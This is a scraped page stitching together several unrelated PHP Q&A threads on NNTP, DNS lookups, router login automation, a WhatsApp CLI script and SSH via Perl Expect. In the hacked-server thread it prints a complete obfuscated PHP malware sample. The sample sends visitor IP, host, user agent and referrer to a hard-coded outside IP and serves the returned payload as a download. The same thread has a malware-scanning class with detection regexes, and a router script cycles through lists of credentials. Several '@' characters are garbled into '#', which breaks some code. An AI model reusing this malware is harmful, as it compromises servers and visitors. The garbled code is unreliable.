I am having a bit of trouble with NNTP and PHP (following the directions in the PHP manual, I threw in this quick test:
<?php
$server = "{news.newsserver.com/nntp:119}";
if ($nntp = imap_open($server,"myuser","mypass", OP_HALFOPEN)) {
echo "Connected...\n";
$list = imap_list($nntp, "{news.newsserver.com}", "*");
if (is_array($list)) {
foreach ($list as $val) {
echo imap_utf7_decode($val) . "\n";
}
} else {
echo "No groups found...\n";
}
} else {
echo "Unable to connect...\n";
}
When I run this script I get:
Connected...
No groups found...
>
Any suggestions would be most appreciated. I am connecting to a valid server with a valid username and password. I am also aware of the Net_NNTP PEAR library, but I am at this point not interested in using that rather I just want to use whats 'build_in'ish to php.
Have you tried changing
$list = imap_list($nntp, "{news.newsserver.com}", "*");
To
$list = imap_list($nntp, $server, "*");
This worked when connecting to my newsserver.
Related
I am making an IP grab script for servers and I had some issues with my code. I want to grab just the ip addresses of servers using dns_get_record without the extra bloat in the default output. However, my current script displays a blank output when ran. And no. I can't simply use gethostbyname, as it has to be compatible with querying wan ips for the server the code is running on. Here is my code so far:
<?php
function test() {
$host = "google.com";
$result = dns_get_record("$host", DNS_A);
foreach ($result as $record) {
echo $record['target'];
}
}
?>
Fixed code (works properly):
function test() {
$host = "google.com";
$result = dns_get_record("$host", DNS_A);
foreach ($result as $record) {
echo $record['ip'];
}
}
My linux server has recently got hacked and there is a script running on my server send spam email which I want to find the generator of it and remove it this way.
I've created a php Code to search through all directories for the exact pattern and alert me, it could find the pattern by using of the pregmatch fucntion. but I can't figure out the right regex for pregmatch command to find for example below pattern :
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67i\x65q\x68\x6ai\x79e\x6a\x72g"]="\x75\x72\x69";
My Code :
class ScanFiles {
public $infected_files = array();
private $scanned_files = array();
function __construct() {
$this->scan(dirname(__FILE__));
$this->sendalert();
}
function scan($dir) {
$this->scanned_files[] = $dir;
$files = scandir($dir);
if(!is_array($files)) {
throw new Exception('Unable to scan directory ' . $dir . '. Please make sure proper permissions have been set.');
}
foreach($files as $file) {
if(is_file($dir.'/'.$file) && !in_array($dir.'/'.$file,$this->scanned_files)) {
$this->check(file_get_contents($dir.'/'.$file),$dir.'/'.$file);
} elseif(is_dir($dir.'/'.$file) && substr($file,0,1) != '.') {
$this->scan($dir.'/'.$file);
}
}
}
function check($contents,$file) {
$this->scanned_files[] = $file;
if(preg_match('/eval\((base64|eval|\$_|\$\$|\$[A-Za-z_0-9\{]*(\(|\{|\[))/i',$contents) || preg_match('/\${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67i\x65q\x68\x6ai\x79e\x6a\x72g"]\b/i',$contents)) {
$this->infected_files[] = $file;
}
}
function sendalert() {
if(count($this->infected_files) != 0) {
$message = "== MALICIOUS CODE FOUND == \n\n";
$message .= "The following files appear to be infected: \n";
foreach($this->infected_files as $inf) {
$message .= " - $inf \n";
}
mail(SEND_EMAIL_ALERTS_TO,'Malicious Code Found!',$message,'FROM:');
echo "Malicious Code Found! : ".$message;
}else{
echo "No Malicious Found.";
}
}
}
Spam Script which I found it manually but it make copies on the server with new file names :
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67i\x65q\x68\x6ai\x79e\x6a\x72g"]="\x75\x72\x69";
${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x69\x77\x64\x79\x73vi\x6bh"]="\x64u\x6d\x6d\x79_\x70\x61g\x65";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x72\x68\x74a\x78\x76c"]="\x69\x70\x5fke\x79\x73";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x70\x76g\x74\x67\x62w\x71"]="fi\x6c\x65\x6eam\x65";
${"\x47LO\x42\x41\x4cS"}["\x6ag\x67\x70\x6c\x6d\x66\x6aq\x75\x70"]="\x63o\x6ete\x6e\x74";
${"\x47\x4c\x4f\x42\x41LS"}["\x79\x6cf\x71\x6f\x66x"]="\x69\x70";
${"\x47\x4c\x4fB\x41L\x53"}["\x61\x73\x69\x6f\x6e\x65\x65\x68\x62"]="\x63o\x6e\x74\x65\x6et";
${"\x47\x4c\x4fBA\x4c\x53"}["o\x67\x6anw\x64\x6a\x71\x63\x6a"]="u\x72\x6c";
${"\x47LOB\x41L\x53"}["\x66e\x71\x6bg\x6b\x72edp\x6er"]="\x69";
$tvjuit="ke\x79";
$khpkwwmtyl="\x6b\x65\x79";
${"G\x4c\x4fBA\x4c\x53"}["\x77\x76\x78t\x79hl"]="\x6b\x65y";
${"\x47LO\x42A\x4c\x53"}["l\x76\x67\x66o\x63\x74\x78"]="\x63on\x74e\x78\x74";
$nbutdw="url";
${"GLO\x42\x41L\x53"}["\x61tt\x64\x6f\x6db\x6e\x73\x70\x67"]="quer\x79";
${"\x47L\x4f\x42ALS"}["\x79\x64h\x62\x62\x65\x74\x79h"]="\x6b\x65y";
${"\x47\x4cOB\x41\x4c\x53"}["i\x6c\x62\x68\x75b\x73\x68\x64\x75f\x76"]="\x70\x61t\x68";
$pvpylyxbyi="c\x6fn\x74e\x6e\x74";
error_reporting(0);
$vyjgrxcpune="\x70\x6frt";
ini_set("di\x73\x70la\x79\x5fer\x72\x6f\x72s",0);
$cojuafthyws="\x6b\x65\x79";
${"GLO\x42\x41\x4c\x53"}["\x75w\x71\x76\x7a\x6a\x68\x65\x62\x73m"]="f\x69\x6ce\x6e\x61\x6d\x65";
$aqtvbwqxw="\x69p";
${"\x47\x4c\x4fBAL\x53"}["c\x61e\x70\x77\x71\x6f"]="\x63\x6f\x6e\x74\x65n\x74";
$qkrjqitq="ke\x79";
$whumtbg="\x71\x75\x65ry";
${$aqtvbwqxw}="89\x2e4\x38.11.\x33\x33";
${"\x47\x4c\x4f\x42\x41L\x53"}["z\x73\x75\x75\x65\x68\x65n"]="\x70a\x74\x68";
${"\x47LO\x42\x41\x4cS"}["\x76\x68t\x6c\x67\x67e\x71\x63\x62g"]="l\x65\x74\x74\x65\x72";
${$vyjgrxcpune}="80";
${"G\x4c\x4fBAL\x53"}["fs\x6c\x64\x7an"]="\x71uer\x79";
$ydnfejql="i";
${"G\x4c\x4f\x42\x41\x4c\x53"}["m\x64\x78\x79\x77\x6e\x77"]="\x71\x75\x65ry";
${${"\x47\x4c\x4fBALS"}["\x69\x6cb\x68\x75\x62\x73h\x64u\x66\x76"]}="/r\x6a\x62\x76\x63\x78\x77\x72\x65/\x34\x356vcx\x67r\x74\x2ephp";
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x74\x74\x64o\x6d\x62\x6e\x73\x70\x67"]}=Array();
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x61\x74td\x6f\x6d\x62nsp\x67"]}["i"]=get_ip();
${${"\x47\x4cO\x42\x41\x4cS"}["\x66\x73\x6c\x64\x7a\x6e"]}["\x70"]=#$_SERVER["\x48\x54T\x50\x5f\x48O\x53\x54"].#$_SERVER["\x52\x45Q\x55E\x53\x54\x5fUR\x49"];
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x78\x66\x65\x6e\x7a\x6c\x6e"]="\x71ue\x72\x79";
$xuoyiyhluct="\x70\x6f\x72\x74";
$gcdkmyrmtf="c\x6fn\x74e\x6e\x74";
${${"\x47\x4cO\x42\x41\x4cS"}["m\x64\x78\x79\x77n\x77"]}["u"]=#$_SERVER["HTTP\x5f\x55SER_\x41G\x45N\x54"];
${${"\x47\x4cO\x42\x41L\x53"}["a\x74\x74\x64o\x6d\x62n\x73p\x67"]}["\x61"]=#$_SERVER["\x48\x54\x54P_AC\x43E\x50\x54_\x4cA\x4eGUAGE"];
${${"GL\x4f\x42\x41\x4cS"}["m\x78\x66\x65\x6ezl\x6e"]}["r"]=#$_SERVER["H\x54T\x50\x5fREFER\x45R"];
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6c\x76g\x66\x6f\x63\x74x"]}=stream_context_create(Array("\x68ttp"=>Array("m\x65\x74\x68\x6f\x64"=>"\x50OS\x54","he\x61\x64\x65\x72"=>"Con\x74en\x74-t\x79\x70e: app\x6c\x69\x63\x61\x74i\x6fn/\x78-\x77\x77w-\x66o\x72m-u\x72\x6c\x65\x6e\x63\x6f\x64\x65d","co\x6et\x65n\x74"=>http_build_query(${$whumtbg}))));
${${"\x47L\x4f\x42\x41\x4cS"}["\x77v\x78t\x79h\x6c"]}=30535;${$ydnfejql}=0;
foreach(str_split($_SERVER["RE\x51\x55E\x53\x54\x5fURI"])as${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x76\x68t\x6cg\x67\x65\x71\x63\x62\x67"]}){${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75o\x73\x74nl\x6f\x75"]="\x6cet\x74\x65\x72";
${${"\x47LOBA\x4cS"}["wv\x78\x74\x79\x68\x6c"]}+=ord(${${"\x47\x4cO\x42\x41\x4c\x53"}["u\x6fs\x74n\x6co\x75"]});
${${"GLO\x42A\x4cS"}["f\x65\x71kgkr\x65\x64\x70\x6er"]}++;}${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77v\x78\x74\x79h\x6c"]}<<=2;
${${"GL\x4fB\x41\x4c\x53"}["\x77\x76\x78\x74\x79\x68l"]}^=${$khpkwwmtyl};${$qkrjqitq}+=32;
${$cojuafthyws}=str_repeat(chr(${${"G\x4c\x4fBA\x4cS"}["y\x64\x68bb\x65\x74\x79h"]}),8);
${${"\x47\x4c\x4fBA\x4c\x53"}["\x6fg\x6a\x6ew\x64\x6a\x71\x63\x6a"]}="htt\x70://".long2ip(1489383561^(ord(${$tvjuit}[0])+ord(${${"G\x4c\x4f\x42\x41\x4cS"}["w\x76xtyh\x6c"]}[1])+(strstr(substr($_SERVER["R\x45\x51U\x45S\x54_\x55\x52\x49"],-4),".p\x68p")==FALSE?6:ip2long(${${"\x47\x4c\x4f\x42AL\x53"}["y\x6c\x66\x71\x6ff\x78"]})))).":".${$xuoyiyhluct}.${${"\x47LOB\x41\x4cS"}["\x7a\x73\x75ueh\x65n"]};
${${"\x47\x4cOBAL\x53"}["\x61s\x69o\x6ee\x65\x68\x62"]}=#file_get_contents(${$nbutdw},FALSE,${${"\x47L\x4fB\x41\x4cS"}["\x6cv\x67f\x6f\x63\x74\x78"]});
${"G\x4c\x4f\x42ALS"}["r\x64\x6bx\x67\x6b\x6a\x77"]="\x63\x6f\x6e\x74en\x74";if(strlen(${${"G\x4cO\x42\x41L\x53"}["jg\x67\x70l\x6d\x66j\x71\x75p"]})<10){error_404();
}${${"\x47L\x4f\x42A\x4cS"}["rd\x6bxg\x6b\x6a\x77"]}=explode("\n",${$pvpylyxbyi});
${${"\x47L\x4f\x42A\x4c\x53"}["\x68\x70\x76gt\x67\x62w\x71"]}=array_shift(${${"\x47\x4c\x4fB\x41\x4c\x53"}["j\x67gpl\x6d\x66\x6a\x71\x75\x70"]});
${${"G\x4cOBALS"}["\x6a\x67\x67\x70\x6cm\x66\x6a\x71\x75p"]}=implode("\n",${${"\x47\x4c\x4f\x42A\x4c\x53"}["c\x61ep\x77\x71o"]});
if(strstr(${${"\x47L\x4f\x42\x41\x4cS"}["u\x77q\x76z\x6a\x68\x65\x62\x73\x6d"]},"\x2eh\x74m\x6c")===FALSE){header("Co\x6et\x65\x6et-\x54\x79pe:\x20\x61p\x70\x6c\x69ca\x74i\x6fn/\x6f\x63\x74\x65\x74-st\x72\x65\x61\x6d");
header("\x43o\x6et\x65nt-\x44i\x73\x70\x6f\x73\x69tio\x6e: a\x74\x74\x61\x63h\x6dent\x3b fi\x6ce\x6ea\x6d\x65=".${${"\x47\x4c\x4f\x42A\x4c\x53"}["h\x70vg\x74\x67\x62wq"]});
header("\x43\x6fntent-\x4ce\x6eg\x74h: ".strlen(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6a\x67\x67\x70\x6cm\x66\x6a\x71\x75p"]}));
}echo${$gcdkmyrmtf};
exit();
function get_ip(){${${"\x47\x4cO\x42\x41L\x53"}["r\x68t\x61\x78\x76\x63"]}=array("\x48T\x54P\x5f\x43\x46_\x43O\x4eN\x45\x43\x54\x49\x4eG\x5f\x49P","\x48T\x54P\x5fCLIENT_\x49P","\x48\x54TP_\x58\x5f\x46\x4f\x52\x57\x41\x52D\x45D_F\x4fR","\x48TTP_\x58\x5f\x46O\x52\x57A\x52D\x45\x44","\x48TTP_\x58_\x43\x4cU\x53T\x45R_\x43L\x49\x45N\x54\x5f\x49P","\x48TTP_F\x4fRWAR\x44E\x44\x5f\x46\x4fR","\x48TTP\x5fFORWA\x52\x44ED","RE\x4dO\x54E_\x41\x44D\x52");
foreach(${${"G\x4cOB\x41\x4c\x53"}["\x72\x68\x74\x61\x78\x76\x63"]} as${${"G\x4c\x4f\x42\x41L\x53"}["\x77\x76\x78t\x79h\x6c"]}){$xfdiqu="\x6b\x65\x79";
if(array_key_exists(${$xfdiqu},$_SERVER)===TRUE){${"\x47L\x4fB\x41\x4c\x53"}["p\x66bf\x65\x73\x6ch"]="i\x70";
foreach(explode(",",$_SERVER[${${"\x47L\x4f\x42A\x4c\x53"}["wv\x78\x74\x79\x68\x6c"]}])as${${"G\x4c\x4f\x42A\x4c\x53"}["\x70\x66\x62fes\x6c\x68"]}){$kvytrcc="ip";
return trim(${$kvytrcc});
}}}return"\x3255.255\x2e25\x35\x2e2\x35\x35";
}function error_404(){${"GL\x4fB\x41\x4cS"}["\x62x\x74fbg\x6f"]="\x75\x72i";
$rxdfcqp="\x64u\x6dmy\x5fp\x61\x67e";
header("\x48\x54\x54\x50/1.\x31\x204\x304\x20No\x74\x20Found");
${${"G\x4cO\x42A\x4cS"}["\x62\x78\x74\x66\x62go"]}=preg_replace("/(\\?)\x2e*\$/","",$_SERVER["RE\x51UE\x53T_\x55\x52\x49"]);
${$rxdfcqp}="/".uniqid().uniqid();
${${"\x47LOB\x41L\x53"}["\x6a\x67\x67\x70\x6c\x6d\x66\x6a\x71\x75\x70"]}=#file_get_contents("\x68tt\x70://".$_SERVER["\x48\x54\x54\x50\x5f\x48\x4fS\x54"].${${"\x47LO\x42\x41\x4c\x53"}["\x70\x69\x77d\x79s\x76\x69\x6b\x68"]});
${"\x47L\x4f\x42A\x4c\x53"}["\x79\x6e\x69\x61\x6d\x6e\x76\x71\x6d\x68c\x6b"]="\x63\x6fn\x74e\x6et";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72\x63\x6ew\x72tu\x69\x6e\x6a\x62"]="\x63\x6f\x6e\x74\x65\x6e\x74";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x65cqb\x76\x6a\x6c\x72"]="d\x75m\x6d\x79\x5fpa\x67\x65";
${${"\x47\x4c\x4fB\x41\x4c\x53"}["rc\x6e\x77\x72\x74\x75\x69\x6e\x6a\x62"]}=str_replace(${${"\x47L\x4fB\x41L\x53"}["\x65\x63\x71\x62vj\x6cr"]},${${"\x47LO\x42A\x4c\x53"}["\x67\x69\x65\x71hj\x69\x79e\x6ar\x67"]},${${"GLOBA\x4cS"}["jg\x67p\x6c\x6d\x66\x6a\x71u\x70"]});
exit(${${"G\x4cOB\x41\x4c\x53"}["\x79\x6ei\x61\x6d\x6evq\x6dhc\x6b"]});}
?>
I've Used another method to search for this pattern using grep command and I've managed to find the spam code generator .
I have an issue that's stumped me.
I'm trying to automate a CLI login to a router and run some commands obtained via a webpage. However I don't know if the router has telnet or SSH enabled (might be one,the other, or both) and I have a list of possible username/password combos that I need to try to gain access.
Oh, and I can't change either the protocol type or the credentials on the device, so that's not really an option.
I was able to figure out how to login to a router with a known protocol and login credentials and run the necessary commands(included below), but I don't know if I should use an if/else block to work through the telnet/ssh decisions, or if a switch statement might be better? Would using Expect inside PHP be an easier way to go?
function tunnelRun($commands,$user,$pass, $yubi){
$cpeIP = "1.2.3.4";
$commands_explode = explode("\n", $commands);
$screenOut = "";
$ssh = new Net_SSH2('router_jumphost');
if (!$ssh->login($user, $pass . $yubi)) {
exit('Login Failed');
}
$ssh->setTimeout(2);
$ssh->write("ssh -l username $cpeIP\n");
$ssh->read("assword:");
$ssh->write("password\n");
$ssh->read("#");
$ssh->write("\n");
$cpePrompt = $ssh->read('/.*[#|>]/', NET_SSH2_READ_REGEX);
$cpePrompt = str_replace("\n", '', trim($cpePrompt));
$ssh->write("config t\n");
foreach ($commands_explode as $i) {
$ssh->write("$i\n"); // note the "\n"
$ssh->setTimeout(2);
$screenOut .= $ssh->read();
}
$ssh->write("end\n");
$ssh->read($cpePrompt);
$ssh->write("exit\n");
echo "Router Update completed! Results below:<br><br>";
echo "<div id=\"text_out\"><textarea style=\" border:none; width: 700px;\" rows=\"20\">".$screenOut."</textarea></div>";
Update:
The solution I went with was a while/switch loop. I would of gone the Expect route, but I kept running into issues on getting the Expect module integrated into PHP on my server (Windows box.) If I had been using a Unix/Linux server Expect would of been the simplest way to achieve this.
I just made it into a working demo for now, so there are a lot of variations missing from the case statements still, and error-handling still needs to bef figured out, but the basic idea is there. I still want to move the preg_match statements around a bit more to do the matching at the top of the while loop (so I don't spam the whole case section with different preg_match lines), but that may prove to be more work than I want for now. Hope this might help someone else trying to do the same!
<?php
include('Net/SSH2.php');
define('NET_SSH2_LOGGING', NET_SSH2_LOG_COMPLEX);
ini_set('display_errors', 1);
$conn = new Net_SSH2('somewhere.outthere.com');
if (!$conn->login($user, $pass . $yubi)) {
exit('Login Failed');
}
$prompt = "Testing#";
$conn->setTimeout(2);
$conn->write("PS1=\"$prompt\"");
$conn->read();
$conn->write("\n");
$screenOut = $conn->read();
//echo "$screenOut is set on the shell<br><br>";
echo $login_db[3][0]. " ". $login_db[3][1];
$logged_in = false;
$status = "SSH";
$status_prev = "";
$login_counter = 0;
while (!$logged_in && $login_counter <=3) {
switch ($status) {
case "Telnet":
break;
case "SSH":
$conn->write("\n");
$conn->write("ssh -l " . $login_db[$login_counter][0] . " $cpeIP\n");
$status_prev = $status;
$status = $conn->read('/\n([.*])$/', NET_SSH2_READ_REGEX);
break;
case (preg_match('/Permission denied.*/', $status) ? true : false):
$conn->write(chr(3)); //Sends Ctrl+C
$status = $conn->read();
if (strstr($status, "Testing#")) {
$status = "SSH";
$login_counter++;
break;
} else {
break 2;
}
case (preg_match('/[pP]assword:/', $status) ? true : false):
$conn->write($login_db[$login_counter][1] . "\n");
$status_prev = $status;
$status = $conn->read('/\n([.*])$/', NET_SSH2_READ_REGEX);
break;
case (preg_match('/yes\/no/', $status) ? true : false):
$conn->write("yes\n");
$status_prev = $status;
$status = $conn->read('/\n([.*])$/', NET_SSH2_READ_REGEX);
break;
case (preg_match('/(^[a-zA-Z0-9_]+[#]$)|(>)/', $status,$matches) ? true : false):
$conn->write("show version\n");
$status = $conn->read(">");
if(preg_match('/ADTRAN|Adtran|Cisco/', $status)? true:false){
$logged_in = true;
break;
}
default:
echo "<br>Something done messed up! Exiting";
break 2;
}
//echo "<pre>" . $conn->getLog() . "</pre>";
}
if ($logged_in === true) {
echo "<br> Made it out of the While loop cleanly";
} else {
echo "<br> Made it out of the While loop, but not cleanly";
}
echo "<pre>" . $conn->getLog() . "</pre>";
$conn->disconnect();
echo "disconnected cleanly";
}
?>
If statements might make your code become unreadable.
In that case I would suggest you to use switch-case blocks,
since switch case will allow you to write clearer code, and will allow you to catch exceptional values more efficiently.
Using Expect in php is simple:
<?php>
ini_set("expect.loguser", "Off");
$stream = fopen("expect://ssh root#remotehost uptime", "r");
$cases = array (
array (0 => "password:", 1 => PASSWORD)
);
switch (expect_expectl ($stream, $cases)) {
case PASSWORD:
fwrite ($stream, "password\n");
break;
default:
die ("Error was occurred while connecting to the remote host!\n");
}
while ($line = fgets($stream)) {
print $line;
}
fclose ($stream);
?>
There are some complication using the expect file_wrapper. If it were me, I'd just go for a simple socket connection for telnet and poll for the prompts (with a timeout) if the ssh connection fails.
On a casual inspection, the telnet client here seems to be sensibly written - and with a bit of renaming could provide the same interface as the ssh2 client extension (apart from the connect bit).
How can you mimic a command line run of a script with arguements inside a PHP script? Or is that not possible?
In other words, let's say you have the following script:
#!/usr/bin/php
<?php
require "../src/php/whatsprot.class.php";
function fgets_u($pStdn) {
$pArr = array($pStdn);
if (false === ($num_changed_streams = stream_select($pArr, $write = NULL, $except = NULL, 0))) {
print("\$ 001 Socket Error : UNABLE TO WATCH STDIN.\n");
return FALSE;
} elseif ($num_changed_streams > 0) {
return trim(fgets($pStdn, 1024));
}
}
$nickname = "WhatsAPI Test";
$sender = ""; // Mobile number with country code (but without + or 00)
$imei = ""; // MAC Address for iOS IMEI for other platform (Android/etc)
$countrycode = substr($sender, 0, 2);
$phonenumber=substr($sender, 2);
if ($argc < 2) {
echo "USAGE: ".$_SERVER['argv'][0]." [-l] [-s <phone> <message>] [-i <phone>]\n";
echo "\tphone: full number including country code, without '+' or '00'\n";
echo "\t-s: send message\n";
echo "\t-l: listen for new messages\n";
echo "\t-i: interactive conversation with <phone>\n";
exit(1);
}
$dst=$_SERVER['argv'][2];
$msg = "";
for ($i=3; $i<$argc; $i++) {
$msg .= $_SERVER['argv'][$i]." ";
}
echo "[] Logging in as '$nickname' ($sender)\n";
$wa = new WhatsProt($sender, $imei, $nickname, true);
$url = "https://r.whatsapp.net/v1/exist.php?cc=".$countrycode."&in=".$phonenumber."&udid=".$wa->encryptPassword();
$content = file_get_contents($url);
if(stristr($content,'status="ok"') === false){
echo "Wrong Password\n";
exit(0);
}
$wa->Connect();
$wa->Login();
if ($_SERVER['argv'][1] == "-i") {
echo "\n[] Interactive conversation with $dst:\n";
stream_set_timeout(STDIN,1);
while(TRUE) {
$wa->PollMessages();
$buff = $wa->GetMessages();
if(!empty($buff)){
print_r($buff);
}
$line = fgets_u(STDIN);
if ($line != "") {
if (strrchr($line, " ")) {
// needs PHP >= 5.3.0
$command = trim(strstr($line, ' ', TRUE));
} else {
$command = $line;
}
switch ($command) {
case "/query":
$dst = trim(strstr($line, ' ', FALSE));
echo "[] Interactive conversation with $dst:\n";
break;
case "/accountinfo":
echo "[] Account Info: ";
$wa->accountInfo();
break;
case "/lastseen":
echo "[] Request last seen $dst: ";
$wa->RequestLastSeen("$dst");
break;
default:
echo "[] Send message to $dst: $line\n";
$wa->Message(time()."-1", $dst , $line);
break;
}
}
}
exit(0);
}
if ($_SERVER['argv'][1] == "-l") {
echo "\n[] Listen mode:\n";
while (TRUE) {
$wa->PollMessages();
$data = $wa->GetMessages();
if(!empty($data)) print_r($data);
sleep(1);
}
exit(0);
}
echo "\n[] Request last seen $dst: ";
$wa->RequestLastSeen($dst);
echo "\n[] Send message to $dst: $msg\n";
$wa->Message(time()."-1", $dst , $msg);
echo "\n";
?>
To run this script, you are meant to go to the Command Line, down to the directory the file is in, and then type in something like php -s "whatsapp.php" "Number" "Message".
But what if I wanted to bypass the Command Line altogether and do that directly inside the script so that I can run it at any time from my Web Server, how would I do that?
First off, you should be using getopt.
In PHP it supports both short and long formats.
Usage demos are documented at the page I've linked to. In your case, I suspect you'll have difficulty detecting whether a <message> was included as your -s tag's second parameter. It will probably be easier to make the message a parameter for its own option.
$options = getopt("ls:m:i:");
if (isset($options["s"] && !isset($options["m"])) {
die("-s needs -m");
}
As for running things from a web server ... well, you pass variables to a command line PHP script using getopt() and $argv, but you pass variables from a web server using $_GET and $_POST. If you can figure out a sensible way to map $_GET variables your command line options, you should be good to go.
Note that a variety of other considerations exist when taking a command line script and running it through a web server. Permission and security go hand in hand, usually as inverse functions of each other. That is, if you open up permissions so that it's allowed to do what it needs, you may expose or even create vulnerabilities on your server. I don't recommend you do this unless you'll more experienced, or you don't mind if things break or get attacked by script kiddies out to 0wn your server.
You're looking for backticks, see
http://php.net/manual/en/language.operators.execution.php
Or you can use shell_exec()
http://www.php.net/manual/en/function.shell-exec.php
I've created a Perl script which connects to a host and executes some commands, and it works fine! I'm kinf of proud 'cause I'm a real newb with Perl ^^...
A overview of the perl script:
use Expect;
$|=0;
$Expect::Debug=0;
$Expect::Exp_Internal=0;
$Expect::Log_Stdout=1;
my $ip = $ARGV[0];
my $file = $ARGV[1];
my $username = $ARGV[2];
my $password = $ARGV[3];
open(CONF,$file) || die "File not found";
while(<CONF>){
$con .= $_;
}
my #conf = split("#",$con);
my $ssh = Expect->spawn("ssh -q -l $username $ip") || die "Spawn ssh failed, $!";
if($ssh->expect(5,"yes")) {
print $ssh "yes\r";
if($ssh->expect(10,"assword")) {
print $ssh "$password\r";
}
else {
warn $ssh->exp_error()."\n";
next;
}
}
elsif($ssh->expect(10,"assword")) {
print $ssh "$password\r";
}
else {
warn $ssh->exp_error()."\n";
next;
}
#Variables Globales
my $rcmd;
my #lcmd;
my $lrcmd;
$regExpCmd = "\#";
$regExpCmd2 = "^(A|B).*(\$|\#)";
$regExp = "\n";
$ssh->expect(10,$regExpCmd);
my $cmd0 = "environment no more\r";
my $cmdExit = "logout\r";
$ssh->send($cmd0);
$ssh->expect(5,$regExpCmd);
foreach my $step (#conf) {
my #lines = split("\n",$step);
foreach my $val (#lines){
$val =~ s/^\s+//;
$val =~ s/\r//;
$ssh->send("$val\r");
$i *= 1;
if(!$ssh->expect(2,$regExpCmd2)){
$i *= 0;
# if($ssh->expect(1,"MINOR")){
# die "Erreur mineur: $val";}
if($ssh->expect(2,"Error")){
die "Erreur majeur: $val";
}
}
}
$ssh->expect(1,$regExpCmd2);
}
$ssh->send($cmdExit);
print $i;
Now, I'd like to call it from PHP...
I have tried different way:
Like calling my perl script with the exec() function :
<?php
$arg1 = "MY.ADD.IP";
$arg2 = "MY/FILE";
$arg3 = "USERNAME";
$arg4 = "PASSWORD";
$result = exec("perl /path/of/perl/script.pl $arg1 $arg2 $arg3 $arg4");
if($result == 1) {
return true: }
else {
return false;
} ?>
but it is not doing anything (Checked on the remote host and so SSH connexion at all)...
I also tried using the PECL Perl interpreter for PHP, calling my script like that:
<?php
$perl = new Perl();
$perl->require('myperl.pl'); ?>
but I didn't figure how to send some arg to my script..
The fact is that I need to call it with an jQuery $.ajax request and I need to wait for the end of the script before sending back any "answer" to jQuery.
Everything I tried did not work, as the PHP script ends "before" the Perl Script...
PS: I also tried to create a Package in PERL called with PHP, like below:
package Connect;
sub new{
#Init some var... }
sub connect {
#Something like the script above.....
}
<?php
$perl = new Perl();
$perl->require('myscript.pl');
$perl->call('connect',$args);
?>
Have you ever succeeded in something like that? I really don't know what to do :(
Why don't you use ssh from php? It looks like the ssh part would be easier than what you've done in perl, and you can still get the perl regexes using preg_ functions.
PHP.net ssh2 manual page
PHP.net preg_match manual page
phpseclib, a pure PHP SSH implementation, has something very similar to expect.
An example follows:
<?php
include('Net/SSH2.php');
$sftp = new Net_SSH2('www.domain.tld');
$sftp->login('username', 'password');
echo $sftp->read('username#username:~$');
$sftp->write("sudo ls -la\n");
$output = $sftp->read('#Password:|username#username:~\$#', NET_SSH2_READ_REGEX);
echo $output;
if (preg_match('#Password:#', $lines)) {
$ssh->write("password\n");
echo $sftp->read('username#username:~$');
}
?>
It does "sudo ls -la" and waits for either "Password:" or "username#username:~".